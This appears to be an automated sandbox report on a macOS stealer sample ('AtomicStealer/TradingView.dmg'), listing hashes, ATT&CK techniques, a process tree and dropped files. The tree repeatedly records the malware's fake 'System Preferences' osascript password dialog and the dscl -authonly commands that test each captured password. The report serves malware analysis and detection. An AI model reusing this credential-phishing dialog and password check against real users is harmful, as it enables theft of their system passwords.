20932399c098674c084f158e2f830e1961bb8ecc7f10e68476458e11a8f64413

General

Target

AtomicStealer/TradingView.dmg
Size

1.3MB
MD5

2ffdac7824757916c858da7d3de79555
SHA1

d2318673251bf51d25e2a07a114d71baff1e2d5c
SHA256

6b0bde56810f7c0295d57c41ffa746544a5370cedbe514e874cf2cd04582f4b0
SHA512

f9eb233a07378e9dc4a82217b4237761cba0ddf8bbc0db71d6145dcc6b7d3cc3eaca5d02648c77c7a862809569a890de44bd4375c3efe9033c078054db6e0bd7
SSDEEP

24576:uKa51Rm7SdrMCTMpoVEyehr8/pe8ocKPB1DpD8nwB6jl36Eu9:vapNdrMt6Eo/pe8ob/FD2w6lKJ

Score

4^/10

Malware Config

Signatures

AppleScript 1 TTPs 16 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

Processes:

ioc	process
osascript -e "display dialog \"macOS needs to access System settings Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"

Resource Forking 1 TTPs 2 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

evasion

Resource Forking

T1564.009

Processes:

ioc	process
/System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper

/bin/sh
sh -c "sudo /bin/zsh -c \"open /Volumes/Trading\\ View\""
1⤵
PID:597

/bin/bash
sh -c "sudo /bin/zsh -c \"open /Volumes/Trading\\ View\""
1⤵
PID:597

/usr/bin/sudo
sudo /bin/zsh -c "open /Volumes/Trading\\ View"
1⤵
PID:597

/bin/zsh
/bin/zsh -c "open /Volumes/Trading\\ View"
2⤵
PID:598

/usr/bin/open
open "/Volumes/Trading View"
2⤵
PID:598

/usr/libexec/xpcproxy
xpcproxy com.apple.security.cloudkeychainproxy3
1⤵
PID:604

/System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy
/System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy
1⤵
PID:604

/usr/libexec/xpcproxy
xpcproxy com.apple.geod
1⤵
PID:609

/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
1⤵
PID:609

/usr/libexec/xpcproxy
xpcproxy com.apple.geod
1⤵
PID:610

/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
1⤵
PID:610

/usr/libexec/xpcproxy
xpcproxy com.apple.pbs
1⤵
PID:611

/System/Library/CoreServices/pbs
/System/Library/CoreServices/pbs
1⤵
PID:611

/usr/sbin/spctl
/usr/sbin/spctl --assess --type execute /Applications/OneDrive.app
1⤵
PID:612

/usr/libexec/xpcproxy
xpcproxy com.apple.TextInputMenuAgent
1⤵
PID:613

/System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent
/System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent
1⤵
PID:613

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump
1⤵
PID:614

/usr/sbin/spindump
/usr/sbin/spindump
1⤵
PID:614

/usr/libexec/xpcproxy
xpcproxy com.apple.tailspind
1⤵
PID:615

/usr/libexec/tailspind
/usr/libexec/tailspind
1⤵
PID:615

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump_agent
1⤵
PID:616

/usr/libexec/spindump_agent
/usr/libexec/spindump_agent
1⤵
PID:616

/usr/libexec/xpcproxy
xpcproxy com.apple.TextInputSwitcher
1⤵
PID:617

/System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher
/System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher
1⤵
PID:617

/usr/libexec/xpcproxy
xpcproxy com.apple.secinitd
1⤵
PID:618

/usr/libexec/secinitd
/usr/libexec/secinitd
1⤵
PID:618

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:619

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:619

/usr/libexec/xpcproxy
xpcproxy com.apple.assistantd
1⤵
PID:624

/usr/libexec/xpcproxy
xpcproxy com.apple.Terminal.2100
1⤵
PID:625

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
1⤵
PID:625

/usr/bin/login
login -pf run
2⤵
PID:629

/bin/zsh
-zsh
3⤵
PID:633

/usr/libexec/path_helper
/usr/libexec/path_helper -s
4⤵
PID:634

/usr/bin/locale
locale LC_CTYPE
4⤵
PID:635

/usr/bin/login
login -pf run
2⤵
PID:636

/bin/zsh
-zsh
3⤵
PID:637

/usr/libexec/path_helper
/usr/libexec/path_helper -s
4⤵
PID:638

/usr/bin/locale
locale LC_CTYPE
4⤵
PID:639

/Volumes/Trading View/Trading View
"/Volumes/Trading View/Trading View"
4⤵
PID:640

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:626

/usr/libexec/xpcproxy
xpcproxy com.apple.siri.context.service
1⤵
PID:628

/System/Library/PrivateFrameworks/ContextKit.framework/Versions/A/XPCServices/ContextService.xpc/Contents/MacOS/ContextService
/System/Library/PrivateFrameworks/ContextKit.framework/Versions/A/XPCServices/ContextService.xpc/Contents/MacOS/ContextService
1⤵
PID:628

/System/Library/PrivateFrameworks/AssistantServices.framework/Versions/A/Support/assistantd
/System/Library/PrivateFrameworks/AssistantServices.framework/Versions/A/Support/assistantd
1⤵
PID:624

/usr/libexec/xpcproxy
xpcproxy com.apple.audio.systemsoundserverd
1⤵
PID:630

/usr/sbin/systemsoundserverd
/usr/sbin/systemsoundserverd
1⤵
PID:630

/usr/libexec/xpcproxy
xpcproxy com.apple.audio.AudioComponentRegistrar
1⤵
PID:631

/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
1⤵
PID:631

/usr/libexec/xpcproxy
xpcproxy com.apple.AccountPolicyHelper
1⤵
PID:632

/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
1⤵
PID:632

/bin/sh
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:641

/bin/bash
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:641

/usr/bin/dscl
dscl /Local/Default -authonly run
1⤵
PID:641

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:642

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:642

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:642

/usr/libexec/xpcproxy
xpcproxy com.apple.neagent.878568F8-CCE5-4157-8315-22F20DC8FB0A
1⤵
PID:643

/usr/libexec/neagent
/usr/libexec/neagent
1⤵
PID:643

/usr/libexec/xpcproxy
xpcproxy com.apple.AddressBook.ContactsAccountsService
1⤵
PID:647

/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
1⤵
PID:647

/usr/libexec/xpcproxy
xpcproxy com.apple.suggestd
1⤵
PID:649

/System/Library/PrivateFrameworks/CoreSuggestions.framework/Versions/A/Support/suggestd
/System/Library/PrivateFrameworks/CoreSuggestions.framework/Versions/A/Support/suggestd
1⤵
PID:649

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:650

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:650

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:650

/usr/libexec/xpcproxy
xpcproxy com.apple.knowledge-agent
1⤵
PID:652

/usr/libexec/knowledge-agent
/usr/libexec/knowledge-agent
1⤵
PID:652

/bin/sh
sh -c "dscl /Local/Default -authonly run 12345678"
1⤵
PID:653

/bin/bash
sh -c "dscl /Local/Default -authonly run 12345678"
1⤵
PID:653

/usr/bin/dscl
dscl /Local/Default -authonly run 12345678
1⤵
PID:653

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:654

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:654

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:654

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportCrash
1⤵
PID:655

/System/Library/CoreServices/ReportCrash
/System/Library/CoreServices/ReportCrash agent
1⤵
PID:655

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:657

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:657

/usr/libexec/xpcproxy
xpcproxy com.apple.routined
1⤵
PID:658

/usr/libexec/routined
/usr/libexec/routined LAUNCHED_BY_LAUNCHD
1⤵
PID:658

/usr/libexec/xpcproxy
xpcproxy com.apple.Maps.mapspushd
1⤵
PID:659

/System/Library/CoreServices/mapspushd
/System/Library/CoreServices/mapspushd
1⤵
PID:659

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:662

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:662

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:662

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
1⤵
PID:663

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
1⤵
PID:664

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:665

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:665

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:665

/usr/libexec/xpcproxy
xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
1⤵
PID:666

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
1⤵
PID:666

/bin/sh
sh -c "dscl /Local/Default -authonly run 123456"
1⤵
PID:667

/bin/bash
sh -c "dscl /Local/Default -authonly run 123456"
1⤵
PID:667

/usr/bin/dscl
dscl /Local/Default -authonly run 123456
1⤵
PID:667

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:668

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:668

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:668

/bin/sh
sh -c "dscl /Local/Default -authonly run triage"
1⤵
PID:669

/bin/bash
sh -c "dscl /Local/Default -authonly run triage"
1⤵
PID:669

/usr/bin/dscl
dscl /Local/Default -authonly run triage
1⤵
PID:669

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:670

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:670

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:670

/bin/sh
sh -c "dscl /Local/Default -authonly run malwae"
1⤵
PID:671

/bin/bash
sh -c "dscl /Local/Default -authonly run malwae"
1⤵
PID:671

/usr/bin/dscl
dscl /Local/Default -authonly run malwae
1⤵
PID:671

/bin/sh
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:672

/bin/bash
sh -c "osascript -e 'display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬'"
1⤵
PID:672

/usr/bin/osascript
osascript -e "display dialog \"macOS needs to access System settings You entered invalid password. Please enter your password.\" with title \"System Preferences\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns\" default answer \"\" giving up after 30 with hidden answer ¬"
1⤵
PID:672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

AppleScript

1

T1059.002

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Resource Forking

1

T1564.009

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/Users/run/Library/Caches/GeoServices/ActiveTileGroup.pbd

Filesize
124KB

MD5
94f924263af4592e5b4b6b506e55f010

SHA1
e2f7d9df958172abcefc2972378875219fb07776

SHA256
989466ec342360376aee25bf62161b9f787f8d66202dbf690ca98ee5bd7ef774

SHA512
904c64401c0a7f771798dedcbc34e200019523f452b88c37c718f2d634e25340885251306491fe23e2ebc14abcfd336a70f2cd3dbca8a764e41ffad2b2df03e5

Download Submit
/Users/run/Library/Saved Application State/com.apple.osascript.savedState/data.data

Filesize
1KB

MD5
f5d9ae8d75331c77dd24e72131dd5a4b

SHA1
fd752b4b3b9e27387ebdec4489e28ea4504db1e7

SHA256
4968436bc84fb3159463a63bd7799adf0399695e7df2cdf972acebf165a2fd07

SHA512
349e88fcd25d66e517eec21013af0c1d23aca00bfc4c44cf637d95be22ec24f60176aa1cea506077975e6c64bc8eeb3fa6ac2270f1162764ba9bd33f2ecd8408

Download Submit
/Users/run/Library/Saved Application State/com.apple.osascript.savedState/data.data

Filesize
1KB

MD5
fddde9e22433d0173e3fb63d5723f354

SHA1
c36e9aaff9f988cc59bd105f4efe693c92ded4a6

SHA256
48a2260e293b3ced741ee22cf4c6beee4e5b80ffe71fad621996754d0f9c0d22

SHA512
89df52efab4d40ab4f3352fa1123574958fa7accc05652533a3a2f69a19141e4b7448b03669d5e8d5c0e6d462603f9711e94ae4b814f0247336828efbc130b2b

Download Submit
/Users/run/Library/Saved Application State/com.apple.osascript.savedState/data.data

Filesize
1KB

MD5
d41e1c3fbe96f27caac7d7b3c7004388

SHA1
acc7ac2e94faea2bb2bcfae7fe9086581c33edc0

SHA256
cd05f9f1a84a3f361a189894ddd0d609fb40652515e548f111ac37ddc55575af

SHA512
a7f69fca20df6c2335018d5c4c52188b46d53d307eefc62d330e4b6abef7f2f97fddf0bc40ad719e7dd8f2c2f07733710f53bb914cf9d6a3e0bfd28425fae4f8

Download Submit
/dev/ttys000

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
/var/db/locationd/Library/Caches/GeoServices/Resources/altitude-1281.xml

Filesize
175KB

MD5
4b83b8564ef37e681421517132a79483

SHA1
c53490db81ccdf4012fc0a184cb6bed56d2fde3c

SHA256
49ee8902d335eaa69e7a62b890f8f49d776187965315cc8a628b2530e50418ff

SHA512
107ec81b0d99c3c02836bce271a16fe3cb86da2fc191090da10de548b9ec0b6731eb4c4d293a62810acd5f9e9ffc4511278d187aff26cc2c21ae338aefb5ca67

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C//mds/mdsDirectory.db

Filesize
47KB

MD5
0e4a0d1ceb2af6f0f8d0167ce77be2d3

SHA1
414ba4c1dc5fc8bf53d550e296fd6f5ad669918c

SHA256
cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030

SHA512
1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C//mds/mdsObject.db

Filesize
4KB

MD5
d3a1859e6ec593505cc882e6def48fc8

SHA1
f8e6728e3e9de477a75706faa95cead9ce13cb32

SHA256
3ebafa97782204a4a1d75cfec22e15fcdeab45b65bab3b3e65508707e034a16c

SHA512
ea2a749b105759ea33408186b417359deffb4a3a5ed0533cb26b459c16bb3524d67ede5c9cf0d5098921c0c0a9313fb9c2672f1e5ba48810eda548fa3209e818

Download Submit

Analysis

Sharing